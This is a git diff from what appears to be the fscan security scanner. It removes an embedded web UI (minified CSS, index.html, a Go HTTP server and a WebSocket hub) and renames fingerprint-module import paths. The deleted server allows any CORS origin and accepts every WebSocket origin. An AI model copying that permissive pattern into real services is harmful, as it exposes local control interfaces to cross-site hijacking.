rem;padding-bottom:1rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-8{padding-left:2rem}.pr-2{padding-right:.5rem}.pt-0{padding-top:0}.pt-4{padding-top:1rem}.text-center{text-align:center}.font-mono{font-family:IBM Plex Mono,ui-monospace,monospace}.text-2xl{font-size:1.5rem;line-height:2rem}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-none{line-height:1}.tracking-tight{letter-spacing:-.025em}.tracking-widest{letter-spacing:.1em}.text-amber-600{--tw-text-opacity: 1;color:rgb(217 119 6 / var(--tw-text-opacity, 1))}.text-background{color:hsl(var(--background))}.text-blue-600{--tw-text-opacity: 1;color:rgb(37 99 235 / var(--tw-text-opacity, 1))}.text-card-foreground{color:hsl(var(--card-foreground))}.text-destructive{color:hsl(var(--destructive))}.text-destructive-foreground{color:hsl(var(--destructive-foreground))}.text-emerald-600{--tw-text-opacity: 1;color:rgb(5 150 105 / var(--tw-text-opacity, 1))}.text-foreground{color:hsl(var(--foreground))}.text-muted-foreground{color:hsl(var(--muted-foreground))}.text-popover-foreground{color:hsl(var(--popover-foreground))}.text-primary{color:hsl(var(--primary))}.text-primary-foreground{color:hsl(var(--primary-foreground))}.text-secondary-foreground{color:hsl(var(--secondary-foreground))}.text-success{color:hsl(var(--success))}.text-warning{color:hsl(var(--warning))}.underline-offset-4{text-underline-offset:4px}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-md{--tw-shadow: 0 4px 6px -1px rgb(0 0 0 / .1), 0 2px 4px -2px rgb(0 0 0 / .1);--tw-shadow-colored: 0 4px 6px -1px var(--tw-shadow-color), 0 2px 4px -2px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-sm{--tw-shadow: 0 1px 2px 0 rgb(0 0 0 / .05);--tw-shadow-colored: 0 1px 2px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.outline-none{outline:2px solid transparent;outline-offset:2px}.outline{outline-style:solid}.ring-0{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(0px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.ring-offset-background{--tw-ring-offset-color: hsl(var(--background))}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-200{transition-duration:.2s}@keyframes enter{0%{opacity:var(--tw-enter-opacity, 1);transform:translate3d(var(--tw-enter-translate-x, 0),var(--tw-enter-translate-y, 0),0) scale3d(var(--tw-enter-scale, 1),var(--tw-enter-scale, 1),var(--tw-enter-scale, 1)) rotate(var(--tw-enter-rotate, 0))}}@keyframes exit{to{opacity:var(--tw-exit-opacity, 1);transform:translate3d(var(--tw-exit-translate-x, 0),var(--tw-exit-translate-y, 0),0) scale3d(var(--tw-exit-scale, 1),var(--tw-exit-scale, 1),var(--tw-exit-scale, 1)) rotate(var(--tw-exit-rotate, 0))}}.animate-in{animation-name:enter;animation-duration:.15s;--tw-enter-opacity: initial;--tw-enter-scale: initial;--tw-enter-rotate: initial;--tw-enter-translate-x: initial;--tw-enter-translate-y: initial}.fade-in-0{--tw-enter-opacity: 0}.zoom-in-95{--tw-enter-scale: .95}.duration-200{animation-duration:.2s}.running{animation-play-state:running}.font-mono{font-family:IBM Plex Mono,ui-monospace,monospace}.file\:border-0::file-selector-button{border-width:0px}.file\:bg-transparent::file-selector-button{background-color:transparent}.file\:text-sm::file-selector-button{font-size:.875rem;line-height:1.25rem}.file\:font-medium::file-selector-button{font-weight:500}.placeholder\:text-muted-foreground::-moz-placeholder{color:hsl(var(--muted-foreground))}.placeholder\:text-muted-foreground::placeholder{color:hsl(var(--muted-foreground))}.hover\:border-foreground\/20:hover{border-color:hsl(var(--foreground) / .2)}.hover\:bg-accent:hover{background-color:hsl(var(--accent))}.hover\:bg-destructive\/10:hover{background-color:hsl(var(--destructive) / .1)}.hover\:bg-destructive\/80:hover{background-color:hsl(var(--destructive) / .8)}.hover\:bg-destructive\/90:hover{background-color:hsl(var(--destructive) / .9)}.hover\:bg-muted\/30:hover{background-color:hsl(var(--muted) / .3)}.hover\:bg-primary\/80:hover{background-color:hsl(var(--primary) / .8)}.hover\:bg-primary\/90:hover{background-color:hsl(var(--primary) / .9)}.hover\:bg-secondary\/80:hover{background-color:hsl(var(--secondary) / .8)}.hover\:text-accent-foreground:hover{color:hsl(var(--accent-foreground))}.hover\:text-destructive:hover{color:hsl(var(--destructive))}.hover\:text-foreground:hover{color:hsl(var(--foreground))}.hover\:underline:hover{text-decoration-line:underline}.hover\:opacity-80:hover{opacity:.8}.focus\:bg-accent:focus{background-color:hsl(var(--accent))}.focus\:text-accent-foreground:focus{color:hsl(var(--accent-foreground))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-2:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-ring:focus{--tw-ring-color: hsl(var(--ring))}.focus\:ring-offset-2:focus{--tw-ring-offset-width: 2px}.focus-visible\:outline-none:focus-visible{outline:2px solid transparent;outline-offset:2px}.focus-visible\:ring-2:focus-visible{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus-visible\:ring-ring:focus-visible{--tw-ring-color: hsl(var(--ring))}.focus-visible\:ring-offset-2:focus-visible{--tw-ring-offset-width: 2px}.focus-visible\:ring-offset-background:focus-visible{--tw-ring-offset-color: hsl(var(--background))}.disabled\:pointer-events-none:disabled{pointer-events:none}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:scale-105{--tw-scale-x: 1.05;--tw-scale-y: 1.05;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:text-foreground{color:hsl(var(--foreground))}.peer:disabled~.peer-disabled\:cursor-not-allowed{cursor:not-allowed}.peer:disabled~.peer-disabled\:opacity-70{opacity:.7}.data-\[disabled\]\:pointer-events-none[data-disabled]{pointer-events:none}.data-\[side\=bottom\]\:translate-y-1[data-side=bottom]{--tw-translate-y: .25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[side\=left\]\:-translate-x-1[data-side=left]{--tw-translate-x: -.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[side\=right\]\:translate-x-1[data-side=right]{--tw-translate-x: .25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[side\=top\]\:-translate-y-1[data-side=top]{--tw-translate-y: -.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[state\=checked\]\:translate-x-5[data-state=checked]{--tw-translate-x: 1.25rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[state\=unchecked\]\:translate-x-0[data-state=unchecked]{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.data-\[state\=active\]\:bg-background[data-state=active]{background-color:hsl(var(--background))}.data-\[state\=checked\]\:bg-primary[data-state=checked]{background-color:hsl(var(--primary))}.data-\[state\=open\]\:bg-accent[data-state=open]{background-color:hsl(var(--accent))}.data-\[state\=unchecked\]\:bg-input[data-state=unchecked]{background-color:hsl(var(--input))}.data-\[state\=active\]\:text-foreground[data-state=active]{color:hsl(var(--foreground))}.data-\[disabled\]\:opacity-50[data-disabled]{opacity:.5}.data-\[state\=active\]\:shadow-sm[data-state=active]{--tw-shadow: 0 1px 2px 0 rgb(0 0 0 / .05);--tw-shadow-colored: 0 1px 2px 0 var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.data-\[state\=open\]\:animate-in[data-state=open]{animation-name:enter;animation-duration:.15s;--tw-enter-opacity: initial;--tw-enter-scale: initial;--tw-enter-rotate: initial;--tw-enter-translate-x: initial;--tw-enter-translate-y: initial}.data-\[state\=closed\]\:animate-out[data-state=closed]{animation-name:exit;animation-duration:.15s;--tw-exit-opacity: initial;--tw-exit-scale: initial;--tw-exit-rotate: initial;--tw-exit-translate-x: initial;--tw-exit-translate-y: initial}.data-\[state\=closed\]\:fade-out-0[data-state=closed]{--tw-exit-opacity: 0}.data-\[state\=open\]\:fade-in-0[data-state=open]{--tw-enter-opacity: 0}.data-\[state\=closed\]\:zoom-out-95[data-state=closed]{--tw-exit-scale: .95}.data-\[state\=open\]\:zoom-in-95[data-state=open]{--tw-enter-scale: .95}.data-\[side\=bottom\]\:slide-in-from-top-2[data-side=bottom]{--tw-enter-translate-y: -.5rem}.data-\[side\=left\]\:slide-in-from-right-2[data-side=left]{--tw-enter-translate-x: .5rem}.data-\[side\=right\]\:slide-in-from-left-2[data-side=right]{--tw-enter-translate-x: -.5rem}.data-\[side\=top\]\:slide-in-from-bottom-2[data-side=top]{--tw-enter-translate-y: .5rem}.data-\[state\=closed\]\:slide-out-to-left-1\/2[data-state=closed]{--tw-exit-translate-x: -50%}.data-\[state\=closed\]\:slide-out-to-top-\[48\%\][data-state=closed]{--tw-exit-translate-y: -48%}.data-\[state\=open\]\:slide-in-from-left-1\/2[data-state=open]{--tw-enter-translate-x: -50%}.data-\[state\=open\]\:slide-in-from-top-\[48\%\][data-state=open]{--tw-enter-translate-y: -48%}.dark\:border-destructive:is(.dark *){border-color:hsl(var(--destructive))}.dark\:border-success:is(.dark *){border-color:hsl(var(--success))}.dark\:border-warning:is(.dark *){border-color:hsl(var(--warning))}.dark\:text-amber-400:is(.dark *){--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.dark\:text-blue-400:is(.dark *){--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.dark\:text-emerald-400:is(.dark *){--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}@media(min-width:640px){.sm\:mt-0{margin-top:0}.sm\:block{display:block}.sm\:inline{display:inline}.sm\:h-10{height:2.5rem}.sm\:h-16{height:4rem}.sm\:h-5{height:1.25rem}.sm\:h-8{height:2rem}.sm\:w-10{width:2.5rem}.sm\:w-5{width:1.25rem}.sm\:w-8{width:2rem}.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:flex-row{flex-direction:row}.sm\:justify-end{justify-content:flex-end}.sm\:gap-2{gap:.5rem}.sm\:gap-3{gap:.75rem}.sm\:gap-6{gap:1.5rem}.sm\:space-x-2>:not([hidden])~:not([hidden]){--tw-space-x-reverse: 0;margin-right:calc(.5rem * var(--tw-space-x-reverse));margin-left:calc(.5rem * calc(1 - var(--tw-space-x-reverse)))}.sm\:rounded-lg{border-radius:var(--radius)}.sm\:p-4{padding:1rem}.sm\:py-4{padding-top:1rem;padding-bottom:1rem}.sm\:text-left{text-align:left}.sm\:text-lg{font-size:1.125rem;line-height:1.75rem}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media(min-width:1024px){.lg\:sticky{position:sticky}.lg\:top-20{top:5rem}.lg\:col-span-3{grid-column:span 3 / span 3}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:h-56{height:14rem}.lg\:grid-cols-10{grid-template-columns:repeat(10,minmax(0,1fr))}.lg\:py-5{padding-top:1.25rem;padding-bottom:1.25rem}}.\[\&\>span\]\:line-clamp-1>span{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:1}.\[\&\>svg\+div\]\:translate-y-\[-3px\]>svg+div{--tw-translate-y: -3px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.\[\&\>svg\]\:absolute>svg{position:absolute}.\[\&\>svg\]\:left-4>svg{left:1rem}.\[\&\>svg\]\:top-4>svg{top:1rem}.\[\&\>svg\]\:h-2\.5>svg{height:.625rem}.\[\&\>svg\]\:w-2\.5>svg{width:.625rem}.\[\&\>svg\]\:text-destructive>svg{color:hsl(var(--destructive))}.\[\&\>svg\]\:text-foreground>svg{color:hsl(var(--foreground))}.\[\&\>svg\]\:text-muted-foreground>svg{color:hsl(var(--muted-foreground))}.\[\&\>svg\]\:text-success>svg{color:hsl(var(--success))}.\[\&\>svg\]\:text-warning>svg{color:hsl(var(--warning))}.\[\&\>svg\~\*\]\:pl-7>svg~*{padding-left:1.75rem}.\[\&_\.recharts-cartesian-axis-tick_text\]\:fill-muted-foreground .recharts-cartesian-axis-tick text{fill:hsl(var(--muted-foreground))}.\[\&_\.recharts-cartesian-grid_line\[stroke\=\'\#ccc\'\]\]\:stroke-border\/50 .recharts-cartesian-grid line[stroke="#ccc"]{stroke:hsl(var(--border) / .5)}.\[\&_\.recharts-curve\.recharts-tooltip-cursor\]\:stroke-border .recharts-curve.recharts-tooltip-cursor{stroke:hsl(var(--border))}.\[\&_\.recharts-dot\[stroke\=\'\#fff\'\]\]\:stroke-transparent .recharts-dot[stroke="#fff"]{stroke:transparent}.\[\&_\.recharts-layer\]\:outline-none .recharts-layer{outline:2px solid transparent;outline-offset:2px}.\[\&_\.recharts-polar-grid_\[stroke\=\'\#ccc\'\]\]\:stroke-border .recharts-polar-grid [stroke="#ccc"]{stroke:hsl(var(--border))}.\[\&_\.recharts-radial-bar-background-sector\]\:fill-muted .recharts-radial-bar-background-sector,.\[\&_\.recharts-rectangle\.recharts-tooltip-cursor\]\:fill-muted .recharts-rectangle.recharts-tooltip-cursor{fill:hsl(var(--muted))}.\[\&_\.recharts-reference-line_\[stroke\=\'\#ccc\'\]\]\:stroke-border .recharts-reference-line [stroke="#ccc"]{stroke:hsl(var(--border))}.\[\&_\.recharts-sector\[stroke\=\'\#fff\'\]\]\:stroke-transparent .recharts-sector[stroke="#fff"]{stroke:transparent}.\[\&_\.recharts-sector\]\:outline-none .recharts-sector,.\[\&_\.recharts-surface\]\:outline-none .recharts-surface{outline:2px solid transparent;outline-offset:2px}.\[\&_p\]\:leading-relaxed p{line-height:1.625}.\[\&_svg\]\:pointer-events-none svg{pointer-events:none}.\[\&_svg\]\:size-4 svg{width:1rem;height:1rem}.\[\&_svg\]\:shrink-0 svg{flex-shrink:0} diff --git a/web/dist/index.html b/web/dist/index.html deleted file mode 100644 index bb93a8c6..00000000 --- a/web/dist/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - web-ui - - - - -
- - diff --git a/web/dist/vite.svg b/web/dist/vite.svg deleted file mode 100644 index e7b8dfb1..00000000 --- a/web/dist/vite.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/web/server.go b/web/server.go deleted file mode 100644 index e4121bfa..00000000 --- a/web/server.go +++ /dev/null @@ -1,125 +0,0 @@ -//go:build web - -package web - -import ( - "context" - "embed" - "fmt" - "io/fs" - "net/http" - "os" - "os/signal" - "syscall" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/web/api" - "github.com/shadow1ng/fscan/web/ws" -) - -//go:embed dist/* -var distFS embed.FS - -// StartServer 启动Web服务器 -func StartServer(port int) error { - // 初始化WebSocket Hub - hub := ws.NewHub() - go hub.Run() - - // 创建路由 - mux := http.NewServeMux() - - // API路由 - api.RegisterRoutes(mux, hub) - - // WebSocket路由 - mux.HandleFunc("/ws", func(w http.ResponseWriter, r *http.Request) { - ws.ServeWs(hub, w, r) - }) - - // 静态文件服务 - distContent, err := fs.Sub(distFS, "dist") - if err != nil { - return fmt.Errorf("failed to get dist fs: %w", err) - } - fileServer := http.FileServer(http.FS(distContent)) - - // SPA fallback: 对于非API/WS请求,尝试静态文件,否则返回index.html - mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { - // 检查文件是否存在 - path := r.URL.Path - if path == "/" { - path = "/index.html" - } - - // 尝试打开文件 - f, err := distContent.Open(path[1:]) // 移除开头的/ - if err != nil { - // 文件不存在,返回index.html(SPA路由) - r.URL.Path = "/" - fileServer.ServeHTTP(w, r) - return - } - f.Close() - - // 文件存在,正常服务 - fileServer.ServeHTTP(w, r) - }) - - // 创建服务器 - addr := fmt.Sprintf(":%d", port) - server := &http.Server{ - Addr: addr, - Handler: corsMiddleware(mux), - ReadTimeout: 30 * time.Second, - WriteTimeout: 30 * time.Second, - IdleTimeout: 60 * time.Second, - } - - // 优雅关闭 - done := make(chan bool) - quit := make(chan os.Signal, 1) - signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM) - - go func() { - <-quit - common.LogInfo(i18n.GetText("web_shutting_down")) - - ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) - defer cancel() - - if err := server.Shutdown(ctx); err != nil { - common.LogError(fmt.Sprintf("Server shutdown error: %v", err)) - } - close(done) - }() - - // 启动服务器 - common.LogSuccess(i18n.Tr("web_server_started", port)) - fmt.Printf(" http://localhost:%d\n", port) - - if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { - return fmt.Errorf("server error: %w", err) - } - - <-done - return nil -} - -// corsMiddleware 添加CORS头(开发时需要) -func corsMiddleware(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Access-Control-Allow-Origin", "*") - w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS") - w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization") - - if r.Method == "OPTIONS" { - w.WriteHeader(http.StatusOK) - return - } - - next.ServeHTTP(w, r) - }) -} diff --git a/web/server_stub.go b/web/server_stub.go deleted file mode 100644 index 498e1e52..00000000 --- a/web/server_stub.go +++ /dev/null @@ -1,13 +0,0 @@ -//go:build !web - -package web - -import "errors" - -// ErrWebNotSupported 非Web版本不支持Web功能 -var ErrWebNotSupported = errors.New("web mode not supported in this build, rebuild with: go build -tags web") - -// StartServer 非Web版本的空实现 -func StartServer(port int) error { - return ErrWebNotSupported -} diff --git a/web/ws/hub.go b/web/ws/hub.go deleted file mode 100644 index d68adb63..00000000 --- a/web/ws/hub.go +++ /dev/null @@ -1,215 +0,0 @@ -//go:build web - -package ws - -import ( - "encoding/json" - "net/http" - "sync" - "time" - - "github.com/gorilla/websocket" -) - -var upgrader = websocket.Upgrader{ - ReadBufferSize: 1024, - WriteBufferSize: 1024, - CheckOrigin: func(r *http.Request) bool { - return true // 允许所有来源(本地工具) - }, -} - -// MessageType WebSocket消息类型 -type MessageType string - -const ( - // 扫描相关 - MsgScanStarted MessageType = "scan_started" - MsgScanProgress MessageType = "scan_progress" - MsgScanResult MessageType = "scan_result" - MsgScanCompleted MessageType = "scan_completed" - MsgScanError MessageType = "scan_error" - - // 系统相关 - MsgConnected MessageType = "connected" - MsgPing MessageType = "ping" - MsgPong MessageType = "pong" -) - -// Message WebSocket消息结构 -type Message struct { - Type MessageType `json:"type"` - Timestamp int64 `json:"timestamp"` - Data interface{} `json:"data,omitempty"` -} - -// Client WebSocket客户端 -type Client struct { - hub *Hub - conn *websocket.Conn - send chan []byte -} - -// Hub 管理所有WebSocket连接 -type Hub struct { - clients map[*Client]bool - broadcast chan []byte - register chan *Client - unregister chan *Client - mu sync.RWMutex -} - -// NewHub 创建Hub实例 -func NewHub() *Hub { - return &Hub{ - clients: make(map[*Client]bool), - broadcast: make(chan []byte, 256), - register: make(chan *Client), - unregister: make(chan *Client), - } -} - -// Run 启动Hub -func (h *Hub) Run() { - for { - select { - case client := <-h.register: - h.mu.Lock() - h.clients[client] = true - h.mu.Unlock() - - // 发送连接成功消息 - msg := Message{ - Type: MsgConnected, - Timestamp: time.Now().UnixMilli(), - Data: map[string]string{"status": "connected"}, - } - if data, err := json.Marshal(msg); err == nil { - client.send <- data - } - - case client := <-h.unregister: - h.mu.Lock() - if _, ok := h.clients[client]; ok { - delete(h.clients, client) - close(client.send) - } - h.mu.Unlock() - - case message := <-h.broadcast: - h.mu.Lock() - for client := range h.clients { - select { - case client.send <- message: - default: - close(client.send) - delete(h.clients, client) - } - } - h.mu.Unlock() - } - } -} - -// Broadcast 广播消息给所有客户端 -func (h *Hub) Broadcast(msgType MessageType, data interface{}) { - msg := Message{ - Type: msgType, - Timestamp: time.Now().UnixMilli(), - Data: data, - } - if jsonData, err := json.Marshal(msg); err == nil { - h.broadcast <- jsonData - } -} - -// ClientCount 返回当前连接的客户端数量 -func (h *Hub) ClientCount() int { - h.mu.RLock() - defer h.mu.RUnlock() - return len(h.clients) -} - -// ServeWs 处理WebSocket连接 -func ServeWs(hub *Hub, w http.ResponseWriter, r *http.Request) { - conn, err := upgrader.Upgrade(w, r, nil) - if err != nil { - return - } - - client := &Client{ - hub: hub, - conn: conn, - send: make(chan []byte, 256), - } - hub.register <- client - - go client.writePump() - go client.readPump() -} - -// readPump 读取客户端消息 -func (c *Client) readPump() { - defer func() { - c.hub.unregister <- c - c.conn.Close() - }() - - c.conn.SetReadLimit(512 * 1024) // 512KB - c.conn.SetReadDeadline(time.Now().Add(60 * time.Second)) - c.conn.SetPongHandler(func(string) error { - c.conn.SetReadDeadline(time.Now().Add(60 * time.Second)) - return nil - }) - - for { - _, message, err := c.conn.ReadMessage() - if err != nil { - break - } - - // 处理ping消息 - var msg Message - if json.Unmarshal(message, &msg) == nil { - if msg.Type == MsgPing { - pong := Message{ - Type: MsgPong, - Timestamp: time.Now().UnixMilli(), - } - if data, err := json.Marshal(pong); err == nil { - c.send <- data - } - } - } - } -} - -// writePump 发送消息给客户端 -func (c *Client) writePump() { - ticker := time.NewTicker(30 * time.Second) - defer func() { - ticker.Stop() - c.conn.Close() - }() - - for { - select { - case message, ok := <-c.send: - c.conn.SetWriteDeadline(time.Now().Add(10 * time.Second)) - if !ok { - c.conn.WriteMessage(websocket.CloseMessage, []byte{}) - return - } - - if err := c.conn.WriteMessage(websocket.TextMessage, message); err != nil { - return - } - - case <-ticker.C: - c.conn.SetWriteDeadline(time.Now().Add(10 * time.Second)) - if err := c.conn.WriteMessage(websocket.PingMessage, nil); err != nil { - return - } - } - } -} diff --git a/web/ws/hub_stub.go b/web/ws/hub_stub.go deleted file mode 100644 index fe03553f..00000000 --- a/web/ws/hub_stub.go +++ /dev/null @@ -1,11 +0,0 @@ -//go:build !web - -package ws - -// Hub 非Web版本的空结构 -type Hub struct{} - -// NewHub 非Web版本返回nil -func NewHub() *Hub { - return nil -} diff --git a/webscan/fingerprint/README.md b/webscan/fingerprint/README.md index a76b4c62..2b18b82c 100644 --- a/webscan/fingerprint/README.md +++ b/webscan/fingerprint/README.md @@ -83,7 +83,7 @@ fscan现在集成了[FingerprintHub](https://github.com/0x727/FingerprintHub)的 ### 基本用法 ```go -import "github.com/shadow1ng/fscan/webscan/fingerprint" +import "scanner/webscan/fingerprint" // 自动加载并匹配 body := []byte("...") diff --git a/webscan/fingerprint/enhanced.go b/webscan/fingerprint/enhanced.go index 3739b6e5..51970301 100644 --- a/webscan/fingerprint/enhanced.go +++ b/webscan/fingerprint/enhanced.go @@ -12,7 +12,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) //go:embed web_fingerprint_v4.json diff --git a/webscan/fingerprint/rules.go b/webscan/fingerprint/rules.go index 5454a10d..2cf6d357 100644 --- a/webscan/fingerprint/rules.go +++ b/webscan/fingerprint/rules.go @@ -3,7 +3,7 @@ package fingerprint import ( "regexp" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // RuleData 指纹识别规则数据 diff --git a/webscan/fingerprint_scanner.go b/webscan/fingerprint_scanner.go index 6030735f..1682da23 100644 --- a/webscan/fingerprint_scanner.go +++ b/webscan/fingerprint_scanner.go @@ -4,7 +4,7 @@ import ( "crypto/md5" //nolint:gosec // G501: MD5用于内容指纹识别,非加密用途 "fmt" - "github.com/shadow1ng/fscan/webscan/fingerprint" + "scanner/webscan/fingerprint" ) // CheckDatas 存储HTTP响应的检查数据 diff --git a/webscan/fingerprint_scanner_test.go b/webscan/fingerprint_scanner_test.go index 6a7b36c2..b67f1e58 100644 --- a/webscan/fingerprint_scanner_test.go +++ b/webscan/fingerprint_scanner_test.go @@ -5,7 +5,7 @@ import ( "fmt" "testing" - "github.com/shadow1ng/fscan/webscan/fingerprint" + "scanner/webscan/fingerprint" ) // ============================================================================= diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 014d5168..c2207246 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -11,11 +11,12 @@ import ( "os" "strconv" "strings" + "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common" + "scanner/common/i18n" + "scanner/common/proxy" gmtls "github.com/tjfoc/gmsm/gmtls" "gopkg.in/yaml.v2" ) @@ -39,8 +40,16 @@ var ( ClientNoRedirectGM *http.Client // 国密TLS 不跟随重定向 dialTimeout = 5 * time.Second // 连接超时时间 keepAlive = 5 * time.Second // 连接保持时间 + clientMu sync.Mutex ) 